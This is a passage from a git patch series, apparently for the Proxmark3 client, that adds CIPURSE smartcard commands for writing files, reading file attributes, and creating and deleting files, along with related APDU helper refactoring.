arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_str0("c", "content", "", "new file content"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + size_t offset = arg_get_int_def(ctx, 6, 0); + + bool noAuth = arg_get_lit(ctx, 7); + + hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 10, hdata, &hdatalen); + if (hdatalen == 0) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file content length must be more 0."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) { + PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + PrintAndLogEx(INFO, "data[%d]: %s", hdatalen, sprint_hex(hdata, hdatalen)); + } + + if (noAuth == false) { + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + } + + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); + + res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "File id: %x successfully written.", fileId); + + DropField(); + return PM3_SUCCESS; +} @@ -349,7 +467,8 @@ static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help."}, {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."}, {"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."}, - {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read file."}, + {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."}, + {"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."}, {NULL, NULL, 0, NULL} }; From c5c15de7009cf32e4f4c191d0908a45aea240fa4 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 17:27:25 +0300 Subject: [PATCH 65/77] read file attributes --- client/src/cipurse/cipursecore.c | 134 ++++++++++++++++++++++++++++++- client/src/cipurse/cipursecore.h | 5 +- client/src/cmdhfcipurse.c | 127 ++++++++++++++++++++++++++++- 3 files changed, 261 insertions(+), 5 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index f36181992..016fa9c04 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -126,9 +126,12 @@ int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, siz return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, true, 0, Result, MaxResultLen, ResultLen, sw); } -int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen) { - //CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); - return 2; +int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); } int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { @@ -209,3 +212,128 @@ void CIPURSEPrintInfoFile(uint8_t *data, size_t len) { PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]); } +static void CIPURSEPrintFileDescriptor(uint8_t desc) { + if (desc == 0x01) + PrintAndLogEx(INFO, "Binary file"); + else if (desc == 0x11) + PrintAndLogEx(INFO, "Binary file with transactions"); + else if (desc == 0x02) + PrintAndLogEx(INFO, "Linear record file"); + else if (desc == 0x12) + PrintAndLogEx(INFO, "Linear record file with transactions"); + else if (desc == 0x06) + PrintAndLogEx(INFO, "Cyclic record file"); + else if (desc == 0x16) + PrintAndLogEx(INFO, "Cyclic record file with transactions"); + else if (desc == 0x1E) + PrintAndLogEx(INFO, "Linear value-record file"); + else if (desc == 0x1F) + PrintAndLogEx(INFO, "Linear value-record file with transactions"); + else + PrintAndLogEx(INFO, "Unknown file 0x%02x", desc); +} + +static void CIPURSEPrintKeyAttrib(uint8_t *attr) { + PrintAndLogEx(INFO, "-------- KEY ATTRIBUTES --------"); + PrintAndLogEx(INFO, "Additional info: 0x%02x", attr[0]); + PrintAndLogEx(INFO, "Key length: %d", attr[1]); + PrintAndLogEx(INFO, "Algorithm ID: 0x%02x", attr[2]); + PrintAndLogEx(INFO, "Security attr: 0x%02x", attr[3]); + PrintAndLogEx(INFO, "KVV: 0x%02x%02x%02x", attr[4], attr[5], attr[6]); + PrintAndLogEx(INFO, "-------------------------------"); +} + +void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { + if (len < 7) { + PrintAndLogEx(ERR, "Attributes length " _RED_("ERROR")); + return; + } + + PrintAndLogEx(INFO, "--------- FILE ATTRIBUTES ---------"); + if (fileAttr[0] == 0x38) { + PrintAndLogEx(INFO, "Type: MF, ADF"); + if (fileAttr[1] == 0x00) { + PrintAndLogEx(INFO, "Type: MF"); + } else { + if ((fileAttr[1] & 0xe0) == 0x00) + PrintAndLogEx(INFO, "Type: Unknown"); + if ((fileAttr[1] & 0xe0) == 0x20) + PrintAndLogEx(INFO, "Type: CIPURSE L"); + if ((fileAttr[1] & 0xe0) == 0x40) + PrintAndLogEx(INFO, "Type: CIPURSE S"); + if ((fileAttr[1] & 0xe0) == 0x60) + PrintAndLogEx(INFO, "Type: CIPURSE T"); + if ((fileAttr[1] & 0x02) == 0x00) + PrintAndLogEx(INFO, "Autoselect on PxSE select OFF"); + else + PrintAndLogEx(INFO, "Autoselect on PxSE select ON"); + if ((fileAttr[1] & 0x01) == 0x00) + PrintAndLogEx(INFO, "PxSE select returns FCPTemplate OFF"); + else + PrintAndLogEx(INFO, "PxSE select returns FCPTemplate ON"); + } + + PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]); + + PrintAndLogEx(INFO, "Maximum number of custom EFs: %d", fileAttr[4]); + PrintAndLogEx(INFO, "Maximum number of EFs with SFID: %d", fileAttr[5]); + uint8_t keyNum = fileAttr[6]; + PrintAndLogEx(INFO, "Keys assigned: %d", keyNum); + + if (len >= 9) { + PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]); + } + + if (len >= 10 + keyNum + 1) { + PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], keyNum + 1)); + } + + if (len >= 11 + keyNum + 1 + keyNum * 7) { + for (int i = 0; i < keyNum; i++) { + PrintAndLogEx(INFO, "Key %d Attributes: %s", i, sprint_hex(&fileAttr[11 + keyNum + 1 + i * 7], 7)); + CIPURSEPrintKeyAttrib(&fileAttr[11 + keyNum + 1 + i * 7]); + } + } + // MF + if (fileAttr[1] == 0x00) { + PrintAndLogEx(INFO, "Total memory size: %d", (fileAttr[len - 6] << 16) + (fileAttr[len - 1] << 5) + fileAttr[len - 4]); + PrintAndLogEx(INFO, "Free memory size: %d", (fileAttr[len - 3] << 16) + (fileAttr[len - 2] << 8) + fileAttr[len - 1]); + + } else { + int ptr = 11 + keyNum + 1 + keyNum * 7; + if (len > ptr) + PrintAndLogEx(INFO, "TLV file control: %s", sprint_hex(&fileAttr[ptr], len - ptr)); + } + } else { + PrintAndLogEx(INFO, "Type: EF"); + CIPURSEPrintFileDescriptor(fileAttr[0]); + if (fileAttr[1] == 0) + PrintAndLogEx(INFO, "SFI: not assigned"); + else + PrintAndLogEx(INFO, "SFI: 0x%02x", fileAttr[1]); + + PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]); + + if (fileAttr[0] == 0x01 || fileAttr[0] == 0x11) + PrintAndLogEx(INFO, "File size: %d", (fileAttr[4] << 8) + fileAttr[5]); + else + PrintAndLogEx(INFO, "Record num: %d record size: %d", fileAttr[4], fileAttr[5]); + + PrintAndLogEx(INFO, "Keys assigned: %d", fileAttr[6]); + + if (len >= 9) { + PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]); + } + + if (len >= 10) { + PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], len - 9)); + if (fileAttr[6] + 1 != len - 9) + PrintAndLogEx(WARNING, "ART length is wrong"); + } + + } + + +} + + diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 9ac8f4906..715ca4c25 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -31,12 +31,15 @@ int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramsle int CIPURSECreateFile(uint16_t fileID, uint8_t *fileAttr); int CIPURSEDeleteFile(uint16_t fileID); +int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ; int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); -int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen); +int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose); void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); +void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len); + #endif /* __CIPURSECORE_H__ */ diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 588ac9b3e..040e988c9 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -437,7 +437,7 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { res = CIPURSEUpdateBinary(offset, hdata, hdatalen, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) - PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw); + PrintAndLogEx(ERR, "File write " _RED_("ERROR") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } @@ -448,6 +448,130 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHFCipurseReadFileAttr(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse aread", + "Read file attributes by file ID with key ID and key", + "hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" + "hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_lit0(NULL, "noauth", "read file attributes without authentication"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_lit0(NULL, "sel-adf","show info about ADF itself"), + arg_lit0(NULL, "sel-mf", "show info about master file"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 7, 8, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + bool noAuth = arg_get_lit(ctx, 6); + + bool seladf = arg_get_lit(ctx, 9); + bool selmf = arg_get_lit(ctx, 10); + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + + if (noAuth == false) { + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + } + + if (seladf == false) { + if (selmf) + res = CIPURSESelectMFFile(buf, sizeof(buf), &len, &sw); + else + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); + + res = CIPURSEReadFileAttributes(buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (len == 0) { + PrintAndLogEx(WARNING, "File id: %x attributes is empty", fileId); + DropField(); + return PM3_SUCCESS; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x attributes[%d]: %s", fileId, len, sprint_hex(buf, len)); + + CIPURSEPrintFileAttr(buf, len); + + DropField(); + return PM3_SUCCESS; +} @@ -469,6 +593,7 @@ static command_t CommandTable[] = { {"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."}, {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."}, {"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."}, + {"aread", CmdHFCipurseReadFileAttr, IfPm3Iso14443a, "Read file attributes."}, {NULL, NULL, 0, NULL} }; From 2f83e872220c2b764159ad64d3fdadca8bcc0028 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 18:01:13 +0300 Subject: [PATCH 66/77] some refactorings --- client/src/cipurse/cipursecore.c | 17 +++++++++++------ client/src/cipurse/cipursecore.h | 4 ++-- 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 016fa9c04..82668ba18 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -102,9 +102,9 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, return PM3_SUCCESS; } -/*static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { +static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { return CIPURSEExchangeEx(false, true, apdu, true, 0, Result, MaxResultLen, ResultLen, sw); -}*/ +} int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31}; @@ -121,21 +121,26 @@ int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramsle return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); } +int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff}; + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, 02, fileIdBin}, false, 0, Result, MaxResultLen, ResultLen, sw); +} + int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff}; - return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, true, 0, Result, MaxResultLen, ResultLen, sw); + return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, Result, MaxResultLen, ResultLen, sw); } int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); + return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw); } int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - return CIPURSEExchangeEx(false, true, (sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); + return CIPURSEExchange((sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw); } int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { - return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); + return CIPURSEExchange((sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, Result, MaxResultLen, ResultLen, sw); } int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 715ca4c25..be8ff1519 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -28,8 +28,8 @@ int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); -int CIPURSECreateFile(uint16_t fileID, uint8_t *fileAttr); -int CIPURSEDeleteFile(uint16_t fileID); +int CIPURSECreateFile(uint16_t fileID, uint8_t *attr, uint16_t attrlen, uint8_t *fileAttr, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ; int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); From 6f334ed968204c6161bcf73867c2ce2878b0563c Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 18:21:21 +0300 Subject: [PATCH 67/77] add create file command --- client/src/cipurse/cipursecore.c | 4 ++++ client/src/cipurse/cipursecore.h | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 82668ba18..2ddd94554 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -121,6 +121,10 @@ int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramsle return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); } +int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, attrlen, attr}, false, 0, Result, MaxResultLen, ResultLen, sw); +} + int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff}; return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, 02, fileIdBin}, false, 0, Result, MaxResultLen, ResultLen, sw); diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index be8ff1519..e8a4112ea 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -28,7 +28,7 @@ int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); -int CIPURSECreateFile(uint16_t fileID, uint8_t *attr, uint16_t attrlen, uint8_t *fileAttr, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ; From f0367ad2f7663b9389f40b07cb6ef8b3f1cde8c4 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 18:21:47 +0300 Subject: [PATCH 68/77] help changes and add delete command --- client/src/cmdhfcipurse.c | 104 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 100 insertions(+), 4 deletions(-) diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 040e988c9..4379d6b02 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -338,8 +338,8 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf cipurse write", "Write file by file ID with key ID and key", - "hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" - "hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + "hf cipurse write -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and write file with id 2ff7\n" + "hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and write file\n"); void *argtable[] = { arg_param_begin, @@ -457,8 +457,8 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf cipurse aread", "Read file attributes by file ID with key ID and key", - "hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" - "hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + "hf cipurse aread -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file attributes with id 2ff7\n" + "hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file attributes\n"); void *argtable[] = { arg_param_begin, @@ -573,6 +573,101 @@ static int CmdHFCipurseReadFileAttr(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHFCipurseDeleteFile(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse delete", + "Read file by file ID with key ID and key", + "hf cipurse delete -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and delete file with id 2ff7\n" + "hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and delete file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_str0(NULL, "sreq", "", "communication reader-PICC security level"), + arg_str0(NULL, "sresp", "", "communication PICC-reader security level"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + CipurseChannelSecurityLevel sreq = CPSMACed; + CipurseChannelSecurityLevel sresp = CPSMACed; + int res = CLIParseKeyAndSecurityLevels(ctx, 4, 6, 7, key, &sreq, &sresp); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint16_t fileId = 0x2ff7; + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x key id: %d key: %s", fileId, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + // set channel security levels + CIPURSECSetActChannelSecurityLevels(sreq, sresp); + + res = CIPURSEDeleteFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "File id: 04x deleted " _GREEN_("succesfully"), fileId); + + DropField(); + return 